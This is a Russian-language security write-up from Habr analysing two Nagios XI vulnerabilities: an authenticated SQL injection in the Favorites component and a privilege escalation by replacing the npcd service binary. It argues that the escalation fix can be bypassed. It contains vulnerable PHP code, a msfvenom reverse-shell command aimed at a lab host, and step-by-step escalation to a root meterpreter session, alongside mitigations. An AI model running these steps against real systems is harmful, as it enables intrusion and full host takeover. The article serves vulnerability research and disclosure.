Анализ уязвимостей CVE-2024-24401 и CVE-2024-24402 в Nagios XI

Предисловие

Всем привет, меня зовут Дмитрий, я работаю специалистом по моделированию атак в компании «Перспективный мониторинг». Я занимаюсь разработкой сценариев атак для киберполигона Ampire. Когда мы с командой тестируем актуальные уязвимости, процесс выглядит так: устанавливаем уязвимую версию ПО, проверяем работоспособность Proof of Concept, после чего обновляемся до актуальной версии и убеждаемся, что уязвимость устранена. Тестируя актуальные уязвимости в системе мониторинга Nagios Xi, я обнаружил, что в сети очень мало информации об уязвимостях CVE-2024–24401 и CVE-2024–24402. К тому же оказалось, что одна из уязвимостей, а именно уязвимость локального повышения привилегий CVE-2024–24402, не была полностью пропатчена.

Логотип Nagios XI

Логотип Nagios XI

Введение

В феврале 2024 года исследователь Jarod Jaslow с псевдонимом MAWK обнаружил две уязвимости CVE-2024–24401 и CVE-2024–24402 в Nagios XI версии 2024R1.0.1. Уязвимость CVE-2024–24401 — аутентифицированная SQL-инъекция, а уязвимость CVE-2024–24402 позволяет повысить привилегии от пользователя nagios до суперпользователя. Комбинация данных уязвимостей позволяет полностью скомпрометировать веб-сервер и систему. По результатам нашего исследования было выявлено, что уязвимость CVE2024–24402 не была исправлена разработчиками, при этом уязвимость CVE-2024–24401 исправлена. Я сообщил об этом разработчикам, но ответа не получил.

Nagios XI представляет собой систему для комплексного мониторинга инфраструктуры, которая по умолчанию использует базу данных MySQL. CVE-2024–24401 — это аутентифицированная SQL-инъекция, которая возникает из-за плохой очистки данных GET-запроса. Эксплуатация данной уязвимости позволяет злоумышленнику получить API-токен администратора из базы данных и создать своего пользователя с правами администратора. В Nagios XI есть возможность создания команд, которые выполняются на различных хостах, подключенных к системе мониторинга. Получение привилегий администратора в подобном продукте может позволить злоумышленнику удаленно выполнять команды на большом количестве хостов. Таким образом злоумышленник может создать вредоносную команду и получить доступ к системам, которые подключены к Nagios XI, или только к системе, на которой поднят сервер Nagios XI, под пользователем nagios.

CVE-2024–24402 — это уязвимость повышения привилегий, которая возникает из-за возможности у пользователя nagios изменять исполняемый файл /usr/local/nagios/bin/npcd. Пользователь nagios может запустить скрипт manage_services.sh от имени суперпользователя без указания пароля. Разработчики Nagios Xi пропатчили все последние выложенные релизы на своем сайте. Уязвимости CVE2024–24401 и CVE-2024–24402 должны были быть исправлены в версии 2024R1.0.2 от 21 февраля 2024 года, о чем говорит официальный журнал изменений. Однако уязвимость локального повышения прав хоть и была пропатчена, но всё равно продолжает работать во всех актуальных версиях.

CVE-2024–24401

Уязвимость CVE-2024–24401 возникает в конечной точке /nagiosxi/config/monitoringwizard.php, но если попробовать посмотреть содержимое данного файла в браузере, то можно увидеть сообщение о том, что исходный код защищен SourceGuardian.

Файл monitoringwizard.php открытый на отдельном веб-сервере

Файл monitoringwizard.php открытый на отдельном веб-сервере

При этом содержимое файла скомпилировано и имеет нечитаемый вид.

Содержимое файла monitoringwizard.php

Содержимое файла monitoringwizard.php

О том, как обойти данную защиту кода, можно почитать в интернете.

Но давайте сначала попробуем поискать уязвимый SQL-запрос, так как не все исходники защищены SourceGuardian. Если допустить, что код, который пропускает SQL-инъекцию, находится в файле monitoringwizard.php, то можно скачать версию 2024R1.0.1 после патча с официального сайта и уязвимую версию из репозитория MAWK/CVE-2024–24401, заменить файл monitoringwizard.php в уязвимой версии таким же файлом из пропатченной версии. При этом, выполнив такую подмену, мы не нарушим работоспособность конечной точки, но и уязвимость не закрываем.

Отсюда можно сделать вывод, что уязвимость находится в другом месте. Если выполнить поиск упоминаний файла monitoringwizard.php по исходному коду Nagios xi в директории /usr/local/nagiosxi, то можно увидеть, что в уязвимой версии присутствует на одно упоминание больше в файле /usr/local/nagiosxi/html/includes/components/favorites/favorites.inc.php

Сравнение результатов поиска в версии 2024R1.0.1 до и после патча

Сравнение результатов поиска в версии 2024R1.0.1 до и после патча

Упоминание monitoringwizard.php в этом файле выглядит следующим образом:

    /***
     * TODO: This does NOT work for wizards, because it saves the 'nsp', so the next time the user logs in,
     *       it doesn't work anymore!
     *  favorites_get_user_favorites(): array (
     *    0 => 
     *    array (
     *      'item_id' => '1',
     *      'user_id' => '1',
     *      'title' => 'MSSQL Database Monitoring Wizard',
     *      'partial_href' => 'config/monitoringwizard.php?update=1&nextstep=2&nsp=5bcb11d9bdcb1e11ebafb5db4657b1fe9e3c0e9653d204877bd1ae5c4d8ba7fd&wizard=mssql_database#',
     *    ),
     *    1 => 
     *    array (
     *      'item_id' => '2',
     *      'user_id' => '1',
     *      'title' => 'Configuration Wizard',
     *      'partial_href' => 'config/monitoringwizard.php?&=',
     *    ),
     *  )
     ***/

Это обычный комментарий в виде задачи TODO. Но давайте посмотрим на одну из функций в этом же файле favorites.inc.php.

function is_user_favorite($page = null, $query_param = null)
{
    global $db_tables;

    if (!isset($page)) {
        return false;
    }

    $user_id = 0;

    if (isset($_SESSION['user_id'])) {
        $user_id = $_SESSION['user_id'];
    }

    $sql = "SELECT COUNT(item_id) as count
            FROM ".$db_tables[DB_NAGIOSXI]['cmp_favorites']."
            WHERE user_id = ".intval($user_id)."
              AND partial_href LIKE '%".$page."%'";
    if (!empty($query_param)) {
        $sql .= "  AND partial_href LIKE '%".$query_param."%'";
    }

    $count = 0;

    $rows = exec_sql_query(DB_NAGIOSXI, $sql);

    if (!empty($rows) && isset($rows->fields['count'])) {
        $count = (int) $rows->fields['count'];
    }

    $retval = ($count > 0) ? true : false;

    return $retval;
}

В функции проверяется, есть ли данная страница в «Избранных» у конкретного пользователя. Рассмотрим следующую ссылку: https://localhost/nagiosxi/config/monitoringwizard.php/1' AND (…

Все, что идет после monitoringwizard.php/, попадет в параметр $page, а конкретный «wizard», к которому идет обращение, — в параметр $query_param. При создании тела SQL-запроса параметры $page и $query_param никак не экранируются, что позволяет внедрить SQL-инъекцию.

Давайте посмотрим на эту же функцию, но уже в версии после патча.

function is_user_favorite($page = null, $query_param = null)
{
    global $db_tables;

    if (!isset($page)) {
        return false;
    }

    $user_id = 0;

    if (isset($_SESSION['user_id'])) {
        $user_id = $_SESSION['user_id'];
    }

    $sql = "SELECT COUNT(item_id) as count
            FROM ".$db_tables[DB_NAGIOSXI]['cmp_favorites']."
            WHERE user_id = ".intval($user_id)."
              AND partial_href LIKE '%".escape_sql_param($page, DB_NAGIOSXI)."%'";
    if (!empty($query_param)) {
        $sql .= "  AND partial_href LIKE '%".escape_sql_param($query_param, DB_NAGIOSXI)."%'";
    }

    $count = 0;

    $rows = exec_sql_query(DB_NAGIOSXI, $sql);

    if (!empty($rows) && isset($rows->fields['count'])) {
        $count = (int) $rows->fields['count'];
    }

    $retval = ($count > 0) ? true : false;

    return $retval;
}

Как можно увидеть, для экранирования параметров использовали функцию escape_sql_param, что больше не позволяет использовать одинарную кавычку.

Теперь давайте разберемся, почему при каждом запросе к monitoringwizard.php вызывается функция is_user_favorite.

Файл favorites.inc.php относится к компоненту Nagios XI под названием «Избранное». Если открыть данный компонент на веб-интерфейсе, то можно увидеть, что версия компонента изменилась после патча.

Версия компонента

Версия компонента «Избранное» до патча

Версия компонента

Версия компонента «Избранное» после патча

В настройках данного модуля можно увидеть только один параметр, позволяющий включать и выключать вкладку «Избранное», которая находится в меню слева.

Единственная настройка для модуля

Единственная настройка для модуля «Избранное»

При этом, если отключить вкладку «Избранное», то уязвимый запрос больше не будет работать. Это связано с тем, что инъекция возникает в момент проверки, находится ли страница, к которой идет запрос, в «Избранное», и если не находится, то в правом верхнем углу появляется иконка «Добавить в Избранное», в ином случае — иконка «Убрать из Избранного».

Таким образом, в качестве временного закрытия уязвимости в старых версиях Nagios XI можно:

  1. Воспользоваться функцией escape_sql_param, которая существует и в предыдущих версиях Nagios XI;

  2. Отключить компонент «Избранное» и уязвимый код не будет вызываться.

Но самый надежный способ защититься от SQL-инъекции — обновить Nagios XI до последней версии, так как уязвимость CVE-2024–24401 была исправлена разработчиками начиная с версии 2024R1.0.2.

CVE-2024–24402

В ходе эксплуатации разобранной выше уязвимости CVE-2024–24401 злоумышленник может получить терминальную сессию с хостом Nagios XI, но только под пользователем nagios. Исследователь Jarod Jaslow обнаружил еще одну уязвимость — CVE-2024–24402, которая позволяет пользователю nagios повысить свои привилегии до уровня суперпользователя.

У пользователя nagios есть возможность использовать sudo без пароля при вызове скрипта /usr/local/nagiosxi/scripts/manage_services.sh.

Данный скрипт позволяет управлять системными сервисами.

Варианты использования скрипта manage_services.sh

Варианты использования скрипта manage_services.sh

Среди параметров скрипта можно увидеть сервис npcd, его служба находится по пути /etc/systemd/system/npcd.service.

Параметры службы npcd.service

Параметры службы npcd.service

Данная служба запускает файл /usr/local/nagios/bin/npcd.

Права у запускаемого службой файла npcd

Права у запускаемого службой файла npcd

На скриншоте видно, что данный файл принадлежит пользователю nagios, который может изменять его. Чтобы получить права суперпользователя, следует создать произвольный файл c командой для получения Reverse Shell, в моем случае я создал полезную нагрузку с помощью msfvenom на kali linux:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.1.10 LPORT=5557 -f elf -o npcd

Через wget скачал ее под пользователем nagios в папку /tmp/ и выдал права на исполнение.

Выдача прав на исполнение elf файлу, скачанному с kali linux

Выдача прав на исполнение elf файлу, скачанному с kali linux

Далее нужно запустить обработчик входящих подключений на kali linux в msfconsole.

Запущенный обработчик входящий подключения на kali linux

Запущенный обработчик входящий подключения на kali linux

Затем остановить службу npcd, удалить файл службы /usr/local/nagios/bin/npcd и на его место копировать наш elf-файл из папки /tmp/. Для получения meterpreter-сессии остается только снова запустить службу npcd.

Эксплуатация уязвимости CVE-2024-24402 через подмену исполняемого файла службы, ранее скачанным elf файлом

Эксплуатация уязвимости CVE-2024–24402 через подмену исполняемого файла службы, ранее скачанным elf файлом

После чего мы получаем meterpreter-сессию с правами суперпользователя в msfconsole.

Информация о полученной meterpreter-сессии

Информация о полученной meterpreter-сессии

В версии 2024R1.0.1 после патча данная уязвимость не закрыта и возможность локального повышения привилегий до уровня суперпользователя существует. Дальше я попробовал установить самую актуальную версию на данный момент — 2024R1.2.2, которая была выпущена 24 сентября 2024 года. Права доступа к файлу /usr/local/nagio/bin/npcd изменились, теперь у владельца нет прав на запись в данный файл, но при этом пользователь nagios все еще является владельцем файла, что позволяет ему удалить его и заменить произвольным скриптом.

Права на файл в версии 2024R1.2.2

Права на файл в версии 2024R1.2.2

Права на файл в версии 2024R1.0.1 до патча

Права на файл в версии 2024R1.0.1 до патча

Логически можно предположить, что изначально заявленной уязвимостью являлась возможность записи в файл пользователем nagios. Соответственно разработчики и исправили данную уязвимость. Но обойти такое исправление очень просто: так как владельцем файла является пользователь nagios, то он все еще может удалить файл npcd и подменить его исполняемым скриптом. Таким образом, даже в самой актуальной версии можно подменить файл npcd и получить права суперпользователя.

Информация о проблеме была передана разработчикам, но ответа не поступило. Можно допустить, что данная уязвимость не является критической по их мнению. У пользователя nagios есть много потенциальных возможностей для повышения привилегий, но при поверхностном осмотре они ни к чему не приводят.

В ходе исследования было выявлено, что существует обход исправления уязвимости CVE-2024–24402, что делает все актуальные версии Nagios Xi уязвимыми к локальному повышению привилегий.

Для того, чтобы полностью устранить уязвимость CVE-2024–24402, я рекомендую забрать права владельца у пользователя nagios на исполняемый файл /usr/local/nagios/bin/npcd. Данный файл запускает служба, которая работает от имени суперпользователя, поэтому пользователю nagios нет необходимости быть владельцем данного файла.

© Habrahabr.ru